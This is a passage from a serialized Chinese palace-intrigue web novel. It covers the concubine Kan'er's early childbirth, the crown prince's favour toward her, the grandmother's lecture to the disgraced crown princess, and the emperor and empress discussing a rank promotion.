所以沉吟片刻,骆峋将自己对郑明芷主仆三人的处置结果同槛儿说了。
末了道:“今后后宅暂由早前打理内务的孙嬷嬷管,你这边有需要直接找她。”
槛儿没多问别的,抱着他的胳膊应好。
“你院里的那人,便先交由你自己审,可行?”
骆峋问。
槛儿知道他指的望晴。
其实在望晴到她跟前伺候没几天的时候,槛儿就察觉出对方貌似不对劲了。
只不过前世她身边没这么一个人,她记忆里也不记得认识这么一个人。
只知道望晴原先在广储司首饰库当差,和槛儿早先当差的衣作坊离得不远。
望晴的不对劲可能便来源于广储司。
可惜槛儿委实想不透其中具体关节,加之她那时候也没有要求换人的资格。
不想用这个人也只能用。
所以暂时将其留下了,当然不是没防备,槛儿早将自己的怀疑与瑛姑姑说了。
银竹来了之后确定其可用,槛儿就私下将盯着望晴的事交给银竹了。
另外还有喜雨。
槛儿当初安排她和望晴一道负责提膳的事,就是为了起到相互监督的作用。
这也是宫里一贯行事的规矩。
宫人成双结对地当差,做什么事都是双份登记,一人犯错另一人举报。
若不然则连坐。
如有勾结蒙蔽主子,则双双处以极刑。
这种制度自然也存在漏洞,只多数人还是惜命的。
所以望晴在他们搬住处那天,当差时间里擅自去她那个同乡处拿荷包的事。
以及最近两个月望晴频繁和她的那个同乡碰到一起说话这两件事。
槛儿知道。
望晴想在助产油里动手脚,最后不知是害怕还是考虑到别的,临时改了主意。
午膳时槛儿也听典玺局的人报了。
而望晴碰过的那两罐油,即便没问题,也在拿进产房前被太子的人换了。
之所以暂时将她按下不发,是槛儿想弄清望晴身上的那股不对劲源自于什么。
槛儿总觉得自己忘了什么,一件前世她始终没有想起,这辈子也没想起来的事。
第159章 太子簪钗,“与孤相处,不必称妾。”
“嗯嗯妾身审,不过估计得过完这七天再说了,这几天先安排她做别的去。”
槛儿看着太子,道。
骆峋:“不急,你的身子要紧,已命人看着她了,届时若你身子不允孤再处理。”
槛儿点头应好,随即问:“那打下手的何婆子呢?她是受谁的指使?”
何婆子是慧妃的人,其实不止有何婆子。
永煦院另准备的剪刀之所以会晚拿过来,正是因为内务府送过来的那批人里有其他人在炭火上动了手脚。
此人和何婆子一样,都是慧妃的人。
而慧妃是十皇子的生母。
十皇子今年十六。
宫里就是这样,想要东宫这个位置的从来就不是只有封王的成年皇子。
年纪不到的皇子们,自己可能没那个意思,但保不齐他后面的人动别的心思。
也不一定就是当娘的要这么做。
也可能是他们整个外家,可能是朝堂上某个派系想利用他们拉太子下马。
再扶植个傀儡储君什么的。
目前查到那何婆子是慧妃的人,可值得一提的是,慧妃是德妃一系的人。
而德妃是信王的生母。
信王去年万寿节被太子摆了一道,德妃想借机坑东宫一把道理是说得通的。
可问题是德妃跟了元隆帝近四十年。
她不像曾经的魏嫔那样得圣宠,又不像裴皇后那样与元隆帝夫妻情分深。
可她既能将信王养大成人,又能让皇长孙存活至今,其心思手段可见一斑。
如今信王还在禁足,德妃此时贸然对东宫动手,除了暴露自己别无益处。
所以那何婆子两人究竟奉了谁的命,亦或者是谁在借刀**又祸水东引。
这事就得要元隆帝来管。
槛儿心想说白了还是皇帝的妃嫔儿女太多,不这么多兴许就没那么多事了。
可转念想,自古权力的争斗与更迭从来不是哪个单一方面的因素能决定。
儿女多儿女是争权的其中一部分,儿女少自有藩王勋贵、权臣宦官介入。
槛儿把脸埋到太子肩头。
“累到了?”骆峋低头问。
槛儿飞快摇两下头,瓮声瓮气道:“不累,但妾身在考虑要不再歇个晌吧。”
“嗯?”
歇晌还需考虑?
槛儿仰头抹一把脸。
“一个助产婆子就牵扯出这么些人,要不是您提前有防备,妾身这会儿不定……”
骆峋捂住她的嘴。
“不知忌讳,不准瞎说。”
槛儿弯弯眼,嘴唇顺势在他掌心碰了一下。
太子爷冷脸看她。
槛儿拿下他的手,亲昵道:“妾身是想说有殿下护着呢,妾和孩子什么事也不会有。”
骆峋当然会护着她和孩子。
他们是他的责任。
可看着眼前笑意融融的人,他想到了那个梦,想到了姜氏口中槛儿的上辈子。
梦里的她择了郑氏,所以他冷待她,而她的上辈子里他没有护住她和孩子。
“殿下?”
见太子盯着她不说话,槛儿刚要说点别的,男人忽然将她揽到了他怀里。
槛儿不由得疑惑。
骆峋没解释别的,只拥着她道:“关于你早产的原因,孤问过莫院判了。”
说起这个,槛儿想了想问:“莫院判的意思可是妾身这回属自然早产?”
骆峋:“你如何知道?”
半夜生产之后她一直在睡觉,中午醒来他便在这边,没有请莫院判过来。
槛儿笑:“妾身猜的。”
其实是上辈子曜哥儿就为自然早产,生产前她也没感觉到任何不适。
太医和稳婆也没看出问题。
但偏就突然发动了。
事后太子似乎也怀疑过是谁动了什么手脚,嘉荣堂那两天一直在筛人。
好在后面确定是自然早产。
骆峋看着槛儿澄亮的眼睛,便当她真是猜的。
“莫院判言确为自然早产,道你身子无碍,乃胎儿气全,生命力过旺所致。”
骆峋在得知她要早产的第一反应也以为是自己没防住,为此他当时在宴上没表现出来,心里却是好一通恼。
之后让海顺先回来,自然不单是陪产。
所幸,槛儿的早产非人为。
也万幸最后母子平安。
槛儿看着太子微绷的下颌,心里忽然冒出一股想要问他某个问题的冲动。
但想想觉得太矫情了。
“妾身就说日里都感觉好好的,怎么好端端的就要生了,原是小家伙壮实过了头,迫不及待想出来了。”
抛开杂七杂八的念头,槛儿摸了摸还没怎么消下去的肚子,好笑道。
又想起什么似的两眼亮了亮。
“殿下说妾身平安生产就许妾一件好事,妾身现在能知道是什么事了吗?还是说您已经把好事许给妾身了?”
譬如那支分量十足的步摇。
骆峋猜到她的想法,道:“不是步摇,需再等上些时日方可兑现许诺。”
“不过……”
槛儿:“您说。”
骆峋的手放在她低绾的发髻上摸了摸,侧身从床头的案几上拿起之前那个长条匣,打开取出里面的步摇。
动作略显涩然地替槛儿簪入发髻。
蝶翼翩翩,流苏轻晃。
华丽雍容的步摇衬着乌鸦鸦的青丝,衬着那张因生产而略显清减的美人面。
骆峋的眸光看似如常,嗓音微沉:“往后私下与孤相处,不必自称妾。”
妾为女子谦称,非通指侍妾之意,但而今他
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们之间私下里无需这种谦称。
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回元淳宫的路上,海顺行在太子的右侧方,偷摸着瞅了这位爷几眼。
时下男人宠妾确有那不甚多讲规矩的,至少谦不谦称的便不见得多严格。
可那是外面,是规矩没那么森严的民间。
宫里头可不兴这样。
进了这宫甭管男人女人,甭管外命妇还是内命妇,忠臣还是佞臣。
表面都要足够谦卑足够守礼,若不然一个罪名扣下来,够一家子喝一壶的了。
太子打小生在宫廷,他自己对元隆帝和裴皇后都是随时随地恪守礼节。
如今却是免了宋昭训在他面前的谦称,海顺当时差点没被口水呛住。
要知道放眼这宫里,只有裴皇后才当着元隆帝的面成日里我啊我的。
如今宋昭训……
海顺打了个哆嗦,实在管制不住眼睛,往太子殿下身上瞄了一眼又一眼。
刚要再瞄第三眼。
行在前面的太子忽然停下来看过来,也没说话,就这么很淡地瞅着他。
俨然发现他在窥视了。
海顺好悬一口气没上得来。
咧嘴道:“奴才瞅着殿下今儿格外得英武不凡,英俊潇洒,英姿勃发……”
骆峋抬脚踹了过去,只是做样子的。
但海顺“哎哟”一声,顺势便踉跄到一边,嘴里还不忘说些卖乖讨巧的话。
骆峋转身就走。
他知道海顺在惊什么,认真说来他早先也没想过自己会对槛儿如此破例。
但骆峋却是并未想太多。
他重规矩,可规矩终究是死的。
他只知道,自己在产房外听了她几个时辰的忍痛声,而她因生产那般竭力却仍不忘在见到他时恪守本分。
即便只是一个微不足道的谦称,骆峋也不得不承认那一刻他很不舒服。
具体怎么不舒服,他说不上来。
便是不想再听她那般自称。
海顺演完了戏,屁颠儿屁颠儿地跑上来。
“奴才回去了安排人上宗亲府上报喜,给各地藩王的喜报是今天交代给詹事府,还是等小主子洗三过后?”
储君有嗣,不论嫡庶都要优先告知在京的叔王和大长公主、长公主。
报给藩王的喜讯则要先经皇帝御批再发往各地,至于宣王这些太子的姊妹。
则等洗三后再补告。
骆峋道:“藩王的缓两天,当下各个衙署刚开印,詹事府另有要忙的事。”
“是。”
“顺国公老夫人可有进宫?”
海顺:“上午巳时叫人去国公府传话了,让未时来,不过暂时没说具体为什么事,等老夫人来了再告知。”
骆峋颔颔首。
“老夫人若有意探视宋昭训,不必拦。”
第160章 槛儿喜欢太子吗?
“姑姑,你看好看吗?”
槛儿拿着一把打磨得锃亮的小镜子对镜自照了会儿,笑着问瑛姑姑。
瑛姑姑道:“主子生得好,别说戴殿下送的这又是金又是宝石的步摇,就是什么也不戴也美得很。”
槛儿娇嗔道:“姑姑尽说好话来哄我,昨晚出了一身的汗,身上倒是擦了。
头发却是光擦不顶事,蓬头垢面的能好看到哪里去?也亏得你与殿下不嫌。”
“奴婢说的可不是好话,是实话。”
瑛姑姑笑容慈爱道。
“殿下不嫌说明殿下也觉得您天生丽质,仙姿玉貌,蓬头垢面也好看。
您也别急,等前头三天过了您身子稍微舒坦些了,奴婢就安排给您洗头。”
时下讲究月子期间不宜洗头沐浴,其实并不是有什么别的忌讳。
只不过是由于产妇刚生产完,身子虚弱,洗头沐浴沾水受了风容易着凉。
一场普通的风热风寒一不留神就能要人命,产妇自然要更加当心才是。
另外也怕水质不净,染上什么别的病。
普通百姓家条件有限,洗了头不能及时烘干,自是不洗比洗更稳妥。
富贵人家相较而言就方便多了,御寒保暖措施做好,隔上几天洗一次也没事。
莫院判之前也说过,月子期间保持身体干爽整洁更利于妇人恢复。
“那敢情好。”
槛儿将步摇放回匣子里,道。
“我头发厚,长久不洗易有味儿,也幸好莫院判没有非要我戴包头,不然估计三天都撑不住就没鼻子闻了。”
瑛姑姑笑着点头附和,旋即视线在跳珠接过去的匣子上打了个转。
等跳珠去正房放东西,瑛姑姑欲言又止了一下,“主子,刚刚殿下让您……”
槛儿:“姑姑想说什么直说便是,你我之间什么时候用得着顾忌这么多了。”
瑛姑姑“诶”了声,扶着她躺下。
“倒也不为别的,就是……奴婢瞅着殿下待主子好,打心底里替您高兴,可您也知道这宫里头的门道。
姑娘家生就比男子心细,咱们在意的很多东西在他们看来没准儿不值得一提。
殿下生得俊,性子又好……呃,对,殿下同您在一处的时候性子也好。”
槛儿知道瑛姑姑没有说太子不好的意思,但还是被她卡的那一下给逗笑了。
瑛姑姑轻拍了一下嘴。
“殿下千般好万般好,能得殿下关怀,世间女子怕是没几个不会动心的。
就是您看您今年才十六,人生还长着呢,还有很多其他事可以做……嗐,奴婢都在说什么乱七八糟的……”
瑛姑姑说不太下去了。
世人皆有七情六欲。
男子慕艾和少女怀春都是天性,有错姻缘兰因絮果的,也有终成眷属白头偕老的。
男女之间的事本就没个定数,世人看待这个问题便也不该太绝对。
可她现在却要对一个刚满十六的姑娘说,不要对待自己好的男子动心。
要她压制天性,甚至违背天性。
瑛姑姑觉得这太残忍了。
可若是不说,槛儿往后被伤了怎么办?
瑛姑姑叹出一口气,不知要怎么办了。
倒是槛儿还笑得出来,拍拍她的手道:“懂,姑姑你想说的我都懂。”
“放心吧,我有分寸的。”
瑛姑姑不太信。
却又好像没有理由不信。
因为从重逢起槛儿给她的感觉就变了,从前的槛儿也聪慧内敛行事稳妥。
可终归只是个半大孩子,喜怒哀乐都写在脸上,遇事会害怕会惊慌失措。
然而自打再见,槛儿便像是长大太多了。
眉宇间那股娇怯灵秀分明和往常别无二致,也会露出很多小女儿家的姿态。
但她做的每件事都是那么的从容,似是骨子里的卑怯没了,只剩下胸有成竹。
究竟是经受了怎样的磋磨,才会致使人在短短一年多的时间里变化这么大?
瑛姑姑不清楚。
她也不会问,她只知道槛儿能走到今天,绝不是旁人看到的那么容易就行了。
槛儿知道瑛姑姑可能不信。
但她并不打算多解释。
解释什么呢?
说她绝不会对太子动心,保证不心悦他?
怎么可能。
这种话是绝不会从她嘴里说出来的。
槛儿也不想去纠结自己和太子之间有没有男女情爱,自己是否心悦他。
因为感情太复杂了。
不是只有喜与不喜两个选项,就好比不能只用好坏来判定人性一样。
平心而论,抛开情爱不谈。
槛儿喜欢太子吗?
喜欢的。
尊贵的太子爷,将来的一国之君,有钱有势有地位又生得那般挺拔俊朗。
前世槛儿便这么想的。
她清醒地知道自己在做什么,但这份清醒并不影响她的审美觉得太子俊。
诚如他贪她的身子,她也贪他的。
人是受眼睛管制的生物。
是贪恋欢愉的。
权能让人欢愉就争权,
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爱能让人欢愉就追爱。
所以很多时候当真没有必要非要把一件事刨根究底,只要明确地知道想要什么,自己的目的是什么就够了。
而且,“姑姑你忘了?今年要选秀。”
瑛姑姑脸垮了。
又有些犹豫,“东宫不一定进人吧?这几年除了您便没有别人了呢。”
槛儿:“谁知道呢。”
上辈子的今年东宫确实没添人,但这辈子事情变得不一样了,就说不准。
添不添人她的日子都要过。
如今她有宠有子,太子待她也有那么一丝不同寻常,说实话槛儿是高兴的。
只有的东西不能戳破。
不能执着。
当她清醒也好,逃避也好。
左右不管今后如何,至少太子当下待她是好的,她待他亦会一如既往的体贴。
她总不会让自己失宠于他。
这样便够了。
槛儿盯着床帐,不让自己去想太子免她谦称时以及替她戴步摇时的眼神。
“主子,小福子刚回来说顺国公老夫人去嘉荣堂了,”寒酥进来禀道。
太子之前只同槛儿说了庞嬷嬷和霜云暗害孩子,郑明芷该担的连带责任。
却是没说顺国公老夫人会进宫宣训。
不过槛儿熟知内廷规矩。
此时闻言倒是猜到了原因。
于是对寒酥交代道:“不管太子妃现今境况如何,也始终是太子妃。
你去知会他们一声,在外遇上嘉荣堂的人往日该是怎样现在就还是怎样。
若有谁在这个当头对太子妃不敬,或是借机踩嘉荣堂的人,必严惩不贷。”
寒酥:“是。”
.
嘉荣堂。
院子里安静得出奇。
明明元宵刚过,四周檐下的花灯都还没摘,却已然瞧不出一丝年节的气氛。
内室里从次间到卧房,地上一片狼藉。
也没人敢收拾。
顺国公老夫人在小宫女的搀扶下步入卧房,就见霜月跪在拔步床前。
靠近床头的案几上摆着纹丝未动的午膳,床上正直挺挺地躺着个人。
面色发白,双目紧闭。
头上钗横鬓乱,毫无仪态可言。
老夫人站在不远处看了会儿,还是按规矩给床上的太子妃孙女行礼。
郑明芷没叫起。
老夫人便一直跪着。
也不知过去多久,霜月战战兢兢地小声唤道:“主子,老夫人来了……”
郑明芷眼皮子没撩一下。
“要训就训,训完就走。”
第161章 (合章)育真龙之相!“槛儿是我小媳妇!”
顺国公老夫人本姓施,生得方圆脸深窝眼,双目炯炯有神,鬓发如银。
一身素青大衫,头戴命妇翟冠。
跟众多高门大户家里一样,施老夫人是现今顺国公府中唯一的大家长。
通身的气度不提。
早年郑明芷尚待字闺中时,因着他们家和其他几房的关系不甚融洽。
因而她们下面的这些小辈也是面和心不和,暗地里时不时就较起了劲。
只不过因着顺国公为老夫人所生,又承了爵位,其他几房的姐儿哥儿跟郑明芷较劲也不敢做得太过。
便都想方设法从老夫人入手,以博得其喜爱来彰显各自在府中的地位。
郑明芷自诩嫡女,从不屑这种手段。
只她惯是在意名声,所以时常在老夫人跟前尽孝,如今也算是破罐子破摔了。
所幸施老夫人早看清这个孙女私底下的德性,看她这样倒也没觉得意外。
只道:“不知太子妃是让老身跪着宣训,还是站着宣训,亦或是赐座宣训。”
郑明芷没吭声。
施老夫人恭敬道:“大靖律有明文在册,凡子孙殴祖父母、父母者皆斩,迫尊长卑躬屈膝以殴罪量刑。
皇室成员待长上当恭顺孝道,违者以僭逆论,轻者废黜,重则赐死。”
“故,请太子妃先行容老身起身免跪。”
半夜在元淳宫当着元隆帝和太子的面,眼睁睁看着庞嬷嬷被带走。
一早天刚亮,海顺就领着人来收了她的金印宝册,那一刻郑明芷心如死灰。
可稍后再将这桩事从头到尾地想了一通,她到底还是有怨有怒有恨的。
怨庞嬷嬷自作主张给她招祸,怒霜云白眼狼烂心肺,恨太子心狠手辣!
所以郑明芷不顾霜月的劝阻又摔打了一番,好不容易终于平复下来。
这会儿又听施老夫人张口闭口就是律令内训,郑明芷**的心都有了。
她就想坐稳太子妃的位置,想将来成为一国之母,不想守这些劳什子规矩!
为什么都要拿规矩压她!
深吸一口气,郑明芷坐起身,疲惫道:“祖母请起,霜云,给老夫人看座。”
屋里静了一瞬。
郑明芷看向霜月,随即闭着眼笑了一声。
霜月忍着泪搬来一张楠木雕灯笼莲瓣纹的凳子,上前搀起老夫人坐。
施老夫人谢了恩。
郑明芷淡淡道:“开始吧。”
所谓宣训,围绕的内容左不过纲常之失、德容有亏、社稷之患以及宫廷内训。
车轱辘话翻来覆去。
施老夫人张口就来,郑明芷左耳朵进右耳朵出。
约莫有一个时辰,施老夫人手边的茶换了三盏,大面上的宣训告一段落。
期间霜月替自家主子理好了发髻衣衫,郑明芷双手撑在床沿上默不作声。
施老夫人沉默地看她,忽然问:“你出嫁前我同你说过什么,你可还记得?”
这般说法就是从太子妃和顺国公老夫人的身份,转变成了孙女和亲祖母。
郑明芷:“想说什么直说。”
施老夫人点头。
“也罢,便长话短说,我不讨你嫌。”
“你出嫁前我跟你说,太子身份尊贵你要敬着他,不可怠慢轻视,宫中规矩礼节多你要时刻谨言慎行。
但我还与你说,太子为一国储君,当修身齐家为夫之表率,当礼重于你。”
郑明芷皱眉。
施老夫人没被她的不耐影响:“太祖有言,皇室子弟既聘妻以礼,当待以诚。
储妃承宗庙之重,凡御内庭须持敬慎,储君待之当重其位、听其谏、厚其养。
太子薄待正妃,太子妃可上奏疏陈情,帝后将会照宗法祖制约束太子。”
“我还同你举过例,说本朝曾有太子因小事斥责太子妃,被帝后双双申饬。”
郑明芷问:“您到底想说什么?如果只是来跟我背祖训,大可没有必要。”
施老夫人神情从容,话锋一转。
“庞嬷嬷和霜云背主且先不提,我想知道你是做了什么理亏于太子的事。
才会致使你这个太子妃与太子有了矛盾,你却连上疏的权利都不曾行使。
或者该说,你是做了什么,导致你在太子跟前连行使正妻权利的资格都没有?”
不得不说姜还是老的辣。
施老夫人对郑明芷的花癫癖好并不知情,也不知道孙女做过什么荒唐事。
来的路上宫人只跟她说了庞嬷嬷和霜云暗害小皇孙,以及太子妃昨晚意图殴杀霜云和此前顶撞太子的事。
但施老夫人却能通过这一件件事,看到郑明芷和太子之间的矛盾根源。
并一针见血地指了出来。
郑明芷不喜欢这种被人看透的感觉,沉着脸道:“现在说这些还有什么用。”
“当然有用。”
施老夫人语气平和。
“陛下要怎么处置你爹和顺国公府暂还不知,但你没被废是确定的事。
你若不想彻底将这个位置作没了,就不要再使性,沉下心认真思过一段时间。”
“你与太子成婚刚两年,且今年要大选,接下来至少三年你的位置不会动。
三年不长也不短,起码够你挽回一些事了,你便只管平心静气恪守本分。”
郑明芷偏头,一副不想听的模样。
施老夫人见状道:“如果做不到,那我劝你现在就去向太子自请废太子妃,如此还能留国公府一个体面。”
郑明芷难以置信。
“自请废太子妃?凭什么!”
“凭你有爹娘,凭顺国公府两百余口人,凭你身后的九族近千条性命!”
施老夫人的语调在说出之后一句话时陡然拔高加重,目光犀利如鹰。
郑明芷的心下意识一紧。
施老夫人却是不再多说。
撑着拐杖站起来。
“望太子妃今后行事之前,想想自己能否背负得起众多无辜之人的性命。”
郑明芷“腾”地起身。
眼眶通红,声音嘶哑地道:“凭什么要我一个人背负他们的命?!”
“凭你想要那个位置,凭你与你爹娘瞒着我做了决定,凭任重者其忧不可以不深,位高者其责不可以**。”
施老夫人眯了眯眼,遂俯身拜下。
“老身言尽于此。”
说罢,由小宫女搀着躬身告退。
郑明芷看着卧房门口晃动的珠帘,随后猛地转身扑到床上呜呜哭了起来。
“劳烦老夫人辛苦一趟了。”
海顺在嘉荣堂外候着,见施老夫人出来,他笑容亲切地迎上来道。
施老夫人面露惭愧。
“海总管哪里话,若非老身早年疏忽了对太子妃的关心,如今何以劳殿下费心。”
海顺与她客套两句。
说话间两人走到了嘉荣堂前面的庭院里。
施老夫人道:“老身治家无方致使家奴背主谋害玉麟,当真愧怍万分。
不知玉麟眼下如何,贵体可是康健?
老身来时前往坤和宫拜见娘娘,伏请娘娘容老身率太医与女史入宫验玉麟体貌脉息,问察乳食安寝之况。
得证玉麟无恙,老身方可安心。”
“娘娘宽厚准老身请奏,不知海公公当下可得空,估计得烦请您替老身引路。”
玉麟便是指皇孙。
施老夫人是外命妇。
按礼不能探视太子侍妾和皇孙的,但她是顺国公府的主事人,太子妃的祖母。
奴仆谋害东宫皇孙,老夫人不管以哪个身份立场出发都应当有所作为。
施老夫人显然行事妥帖。
不仅上奏请了太医替小皇孙检查身子,还请了女史过来记录在册。
把探望槛儿,也说成了问小皇孙吃睡情况。
真让太子料到了。
海顺暗哂,“老夫人客气,这边请。”
槛儿刚睡着。
听跳珠说顺国公老夫人来探视小皇孙,她便又半坐起来稍微收拾了一下。
不多时。
老夫人果然以问察小皇孙的吃睡情况,来探视宋昭训这位生母了。
别看槛儿上辈子和郑氏不共戴天,顺国公府最后也落了个抄家流放的下场。
但顺国公老夫人却是得以善终的。
皆因顺国公老夫人出身平民,早年在京郊的一间育婴堂收养弃婴残婴。
后来建立育婴堂的人离世。
三十名弃婴无处可去。
已嫁进顺国公府的老夫人便奏请朝廷,将那间育婴堂记到了自己名下。
自然要撇清培养势力的嫌疑。
所以老夫人主动奏请朝廷派了人驻守,收养婴孩的规矩也是极为严格。
除了朝廷没人知道这间育婴堂是她在当家。
而孩子养到五岁就会送寺庙道观,官府会发度牒,为朝廷创度牒税。
之后等孩子们再大些了,要么去卫所充军要么服徭役,总归是活下来了。
那间育婴堂至今有四十年,先后充军三百余人,给朝廷收了二十万两的度牒税。
这其间虽说与利益挂钩,但顺国公老夫人的初衷和心意一直是好的。
也因此上辈子顺国公府被抄家流放,顺国公夫妻被斩首,老夫人却得以回归平民身就在京城荣养天年。
槛儿前世和施老夫人打过几回交道。
但因着郑明芷的关系,两人之间的气氛也甚是微妙,所以并没说多少话。
现今再见,自然也只是客套寒暄。
不到一刻钟。
施老夫人便留下礼走了。
一路出了宫门,直到坐上马
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车,年近古稀的老人家才得以长长地喘口气。
“您辛苦了,快喝口热茶暖暖。”心腹妈妈从丫鬟手里接过茶,关切道。
施老夫人连喝了大半盏。
李妈妈问:“不知太子妃最近如何了,殿下这回召您入宫所为何事啊?”
施老夫人摆摆手,“这个等我回去了再说,不过我见过那位宋昭训了。”
东宫添了位昭训,这事早在去年槛儿晋位不久顺国公府便得了消息。
后来槛儿得宠、有孕。
顺国公府也都知情。
为了这事,其他几房早先和郑明芷有过恩怨的少爷姑娘,暗地里没少落井下石。
他们自己这一房自是为此着急不已,出了些馊主意,都被施老夫人拦了。
李妈妈听自家老夫人说见过宋昭训了,忍不住忙问:“您觉得如何?”
槛儿生产的喜讯目前还没公开,施老夫人也不打算在外面说这个。
只沉吟了片刻。
很是认真道:“其样貌不必说,国色天香也不为过,别说殿下宠,便是我有这么个孙女也要日日召到跟前伴着。
关键我观其面相,天庭饱满,目色澄金,颈纤而项隆,是个不得了的。”
其实何止是不得了。
是非常不得了。
那位宋昭训山根透额,双颧丰盈如抱珠,印堂隐可见紫气萦绕,这明显就是旺嗣福延三代当育真龙之相!
施老夫人还记得不久前跟对方一照面,她的心就禁不住地突了一下。
不过也仅此而已。
她爹娘死得早,自己没嫁人时家里穷得揭不开锅,仅有的两条裤子几姐妹轮着穿。
她靠在育婴堂养孩子、干杂活养活一家子,后来得了际遇嫁进国公府日子才好起来。
那位宋昭训的面相虽是一等一得好,但还是能看得出来对方此前命途多舛。
施老夫人自是不至于因着看出那位宋昭训从前不易,便同情心泛滥。
放着自己的亲孙女不管,反倒去怜惜一个极有可能抢了她孙女位置的人。
但大抵因着自己是苦过来的,又清楚自己孙女私下里不是那么好相与的。
所以施老夫人在看清宋昭训的面相非同寻常时,并没像有些大宅门的老人那般,觉得势必要除掉此女什么的。
她只有一种原来如此的了然感。
“那位宋昭训真有您说得这么不得了,那我们家姑娘,太子妃怎么办?”
心腹妈妈听自家主子这么说那位宋昭训,不免替他们家姑娘着急起来。
施老夫人哼笑了声。
“能怎么办,她在宫里我们在宫外,就算想帮把手也是鞭长莫及。”
何况这回陛下会怎么处置顺国公府尚未可知,能留个侯爵位便是开天恩了。
就怕……
“吁——”
马车忽然一阵急停。
心腹妈妈手快地护住施老夫人,没好气对车帘子外斥道:“怎么回事?伤着了老夫人你们谁担得起!”
车夫连声赔不是,跟着解释道:“突然蹿了个人出来,也不知干什么的。”
扭头又去骂那乱蹿的人。
施老夫人没叫人撩开帘子看,只听声音辨别出蹿过来的是个男人。
另有一道妇人声,似是那男人的娘,又是赔笑又是骂那男人莫要冲撞了贵人。
言语小心又粗鄙。
施老夫人听了两句便皱了皱眉,发话道:“行了,我没事,继续赶路吧。”
车夫连声道是。
又骂了那人一句便驾车离开。
路边,看着那辆朱漆彩绘四个角都嵌着金子造的云鹤纹马车跑远了。
上一刻还咧着嘴赔笑的妇人嘴角一拉,冲着马车离开的方向就狠啐了一口。
“呸!什么玩意儿,有钱了不起啊?看给他张狂的,急着赶他爹的头七!”
刚骂完,被她抓着手臂的男人挣开了她,然后直奔对面的首饰摊子。
“这个这个,我要这个。”
妇人走过来,就见儿子正让小贩把他手里的那支雕着梅花的银簪子包起来。
她俩眼一瞪,一把将簪子抢过来扔回摊子上,“你要个屁!跟娘回家!”
“我不我不,我就要这个!槛儿明天生辰,我答应了要送她好东西的!”
“槛儿槛儿砍**狗臭……呸!说多少遍了现在那小蹄子不叫槛儿。
槛儿早**,也不知你咋就那么喜欢那个丧门星,要不是她咱家也不会……”
“就是槛儿就要槛儿!槛儿是我小媳妇!”
“行行行,你说是就是,是你小媳妇就赶紧弄个崽子出来,娘之前教你的你记住没?赶紧让你媳妇怀上!”
“怀不上,槛儿害怕。”
“害怕?她害怕个屁!该死的瘟丧……”
第162章 准旨封良娣,元隆帝被祖孙三人联手坑??
傍晚,元隆帝得空来了坤和宫,顺便把太子的请封折子也给带过来了。
裴皇后刚用完膳,消完食在卧房打坐。
早上不到卯时,东宫报喜的消息几乎是前后脚到的乾元殿与坤和宫。
裴皇后刚收到消息时第一反应也以为是太子没防住,小昭训着了谁的道。
好在报喜的人说没这回事。
宋昭训是自然早产,母子均安。
裴皇后这才放了心,扭头便吩咐冯嬷嬷下去张罗给小姑娘的赏赐了。
岂料她这厢刚把事情交代下去,下面的人跑来跟她说陛下去了东宫。
裴皇后委实吃惊不小。
乐见其成的同时也纳罕这老头子是哪根筋搭错了,又不是第一次当祖父。
如此倒显得她这个亲祖母不重视孙子似的,裴皇后还在心里腹诽了一通。
随即等她高兴地去练了半个时辰的武回来。
就听去送赏的人回来说,太子妃身边的奶娘和陪嫁丫鬟暗害皇孙未遂。
另有慧妃的人也想对皇孙下手,裴皇后听完来龙去脉直接掰断了一杆木抢。
之后自然要命人查。
不过老头子这回对孙子似乎很是上心,她这边刚把慧妃审完,那边圣旨就来了。
慧妃废为庶人。
没有证据证**妃是德妃指使的,但德妃与其往来过密,可以说是慧妃的靠山。
所以根据本朝高位妃嫔对低位有监察之责的规矩,也罚了德妃半年的俸。
另禁足三个月,以儆效尤。
这其中是否为别人陷害的德妃,相信以德妃的手段不会轻易放过对方。
这会儿听碧荧进来说陛下驾到,裴皇后下了榻三两下收拾好出了卧房。
刚到次间,元隆帝也绕过碧纱橱进来了。
没等裴皇后开口。
他将手里的折子抛了过去:“执牧为他那小昭训请封侧妃的折子。”
裴皇后熟稔地接住,闻言便不避讳。
一目十行地浏览完。
注意到署名时间,裴皇后噎了一下,说了句和元隆帝之前说过的一样的话。
“他倒是一刻也等不得。”
元隆帝由小太监伺候脱了鞋坐到炕上。
裴皇后在他对面坐下,把折子放到炕几上,笑着问:“陛下可是要准奏?”
元隆帝:“早上我去他那边,他倒是一副恨不得我当场批阅当场下旨的样子。”
裴皇后想象不出来,就儿子那张天塌了都可能面不改色的冰块儿脸。
她想了想道:“头一回当爹,合该重视孩子,也不好让孩子生母没名没分。”
元隆帝哼哼。
“名分可以有,诞育皇孙有功,该升,但他一上来就要侧妃,口气倒是不小。”
话又说回来,“那小子从前不是不好重女色?怎的突然知道宠女人了?”
裴皇后皮笑肉不笑。
“一个就叫好重女色了?”
元隆帝身为皇帝,政事上励精图治文治武功没得说,便是私下里好赏美人。
也不一定非要临幸,就是爱观爱欣赏。
偶尔政事繁重,忙完后头昏脑涨,便来后宫听听美人们弹弹琴,吟吟诗。
亦或是让人给按按跷,松乏松乏。
往往比他睡一觉来得奏效。
当然,年轻的时候确实多会临幸,若不然也不会有那么些个皇子公主了。
如今他老当益壮,却是对那事淡了兴致。
去后宫纯粹为了解乏。
而对于一个帝王而言,比起他的私德,世人往往更看重他治国之能。
元隆帝承先帝之志开创了本朝中兴之局,又收复失地开疆扩土,恢复了大靖万邦来朝的盛世,其功之旷世。
如此一来,对于他好美这事儿便无人指摘。
不过他自己心里有数。
所以面对妻子的似笑非笑,元隆帝咳了咳。
“我就是打个比方。”
裴皇后也不拆穿他。
她也不在乎他爱好多少美人,他们之间一开始便不是男女情爱能囊括的。
“毕竟是第一个子嗣。”
裴皇后继续刚才的话题。
“又赶在元宵节前后出来,也是一种吉兆,生母的位份低了面上看不过眼。
再者说孩子刚出来就险些遭了罪,许是那小昭训当时也被吓得不轻。
补偿一二倒也可行,不过终归是看您的意思。”
元隆帝心说你都说替他这么些好话了,当我听不出来啊,还看我的意思。
不过,“说起吉兆,我跟你说个事。”
元隆帝斜眼全仕财。
后者麻利儿地把屋里的宫人都给打发下去了,他自己也去外间猫着。
裴皇后神色疑惑。
元隆帝没卖关子,直接同她说了自己的那个梦。
裴皇后听完惊了惊。
“真这么凑巧?”
元隆帝:“我能拿这事哄你?”
那确实不能。
也因为不能所以裴皇后这么吃惊。
只不过这种梦涉及到的东西太敏感,裴皇后这个亲娘亲祖母不好多说什么。
因而惊过之后她便笑了笑。
“父皇托这样一个梦给您,那也是您勤政无阙,父皇他老人家都看在眼里呢。”
元隆帝眉头挑了挑。
没拆穿她的言不由衷。
